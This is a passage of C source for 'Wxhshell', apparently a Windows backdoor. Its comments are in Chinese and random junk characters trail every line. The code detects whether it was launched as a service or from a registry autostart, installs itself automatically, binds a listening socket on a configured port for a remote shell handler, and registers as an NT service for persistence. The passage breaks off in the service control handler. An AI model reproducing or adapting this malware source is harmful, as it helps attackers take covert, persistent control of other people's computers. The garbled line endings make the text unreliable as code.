static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o*xEaD
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; TbuR?#
gjV&X N
HANDLE hProcess; 91XHz14
PROCESS_BASIC_INFORMATION pbi; '5--eYG
5KSsRq/8"
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); IuF-bxA
if(NULL == hInst ) return 0; @Q!j7I
:u0433z:
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =I1@ O9}+i
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); enj2xye%Y
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %9.KH
AF-.Nwp
if (!NtQueryInformationProcess) return 0; RYNzTA
H>]x<#uz)
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =$Z'F<|d
if(!hProcess) return 0; OUPpz_y
:O%O``xT
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =l+p nG
m.*+0NG
CloseHandle(hProcess); Q~kwUZ
u4'Lm+&O
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uJ$,e5q
if(hProcess==NULL) return 0; z4goa2@Z
G`z48
HMODULE hMod; 4
#N#[;M
char procName[255]; /a_|oCeC}
unsigned long cbNeeded; eC-TZH@
P+SCX#{y
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 49m/UeNZ
GFidriC
CloseHandle(hProcess); ES> 3Cf
OjI*HC
if(strstr(procName,"services")) return 1; // 以服务启动 ')+EW"
e
#C`!yU6(
return 0; // 注册表启动 n_<]9
} ORoraEK
i=4bY[y
// 主模块 QQ9Q[c
int StartWxhshell(LPSTR lpCmdLine) rSk $]E ]Z
{ S;g~xo
SOCKET wsl; ?cvv!2B]T
BOOL val=TRUE; x1~`Z}LX0
int port=0; r/e&}!
struct sockaddr_in door; DiX4wmQ
Q7\Ax0
if(wscfg.ws_autoins) Install(); jDoWSYu4tY
%WNy=V9txp
port=atoi(lpCmdLine); oKac~}_KL
,]MX&]
if(port<=0) port=wscfg.ws_port; mR^D55k
k#.co~kS
WSADATA data; @&+
1b=
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4$^=1ax
K02./ut-
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 2gGJ:,RC$
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cg~FW2Q
door.sin_family = AF_INET; U
uysG\
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;,1i,?
door.sin_port = htons(port); k|V{jBG"@
5c#L6 dA)
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b}
*cw2
closesocket(wsl); +CkK4<dF
return 1; F-Ea85/K@4
} ;H^!yj5H
4Zq5
if(listen(wsl,2) == INVALID_SOCKET) { Xw%z#6l
closesocket(wsl); :PLs A3[}
return 1; oOlI*/OMb
} okYsjK5
Wxhshell(wsl); r0sd_@Oj
WSACleanup(); M3V[p9>
mNJB0B};m
return 0; xR.Ql>
mKg~8q 3
} L,<.rr$:
u{ng\d*KE}
// 以NT服务方式启动 `u U@(
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Rg6>6.fk*
{ 1pK7EK3R
DWORD status = 0; m^7pbJ\|
DWORD specificError = 0xfffffff; 7 mN?;X33
)mEF_ &
serviceStatus.dwServiceType = SERVICE_WIN32; Rq*m x<HDX
serviceStatus.dwCurrentState = SERVICE_START_PENDING; qfu;X-$4
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,rd+ dN
serviceStatus.dwWin32ExitCode = 0; 'e*C^(6
serviceStatus.dwServiceSpecificExitCode = 0; 5~kf:U%~
serviceStatus.dwCheckPoint = 0; 0kkiS3T
serviceStatus.dwWaitHint = 0; _D:/?=y;e
EW`3h9v~
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !|!V}O
if (hServiceStatusHandle==0) return; $`
>C i=H(8vN
status = GetLastError(); "$)2|
if (status!=NO_ERROR) 1a<,/N}}t
{ ^2=zp.)
serviceStatus.dwCurrentState = SERVICE_STOPPED; Gd"*mLd
serviceStatus.dwCheckPoint = 0; 4-m%[D
|W
serviceStatus.dwWaitHint = 0; 3FdoADe{{
serviceStatus.dwWin32ExitCode = status; QZ6M,\
serviceStatus.dwServiceSpecificExitCode = specificError; 8_lD*bEt
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^K"`k43{
return; ]?r8^L yZ4
} i8{jMe!Sa
d_`Ze.^
serviceStatus.dwCurrentState = SERVICE_RUNNING; 0jXIx2y
serviceStatus.dwCheckPoint = 0; Q6BWax|
serviceStatus.dwWaitHint = 0; 6f?DW-)jp/
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); , QQ:o'I!
} *<hpq)
2Zm*f2$xM
// 处理NT服务事件,比如:启动、停止 fZZ!kea[
VOID WINAPI NTServiceHandler(DWORD fdwControl) E'ZWSpP
{ N_>s2
switch(fdwControl) Q>r Q/V
{ LOA
90.D
case SERVICE_CONTROL_STOP: ;V;4#
serviceStatus.dwWin32ExitCode = 0; ?YS`?Rr
serviceStatus.dwCurrentState = SERVICE_STOPPED; J kA~Ol
serviceStatus.dwCheckPoint = 0; +bSv-i -
serviceStatus.dwWaitHint = 0; (3-G<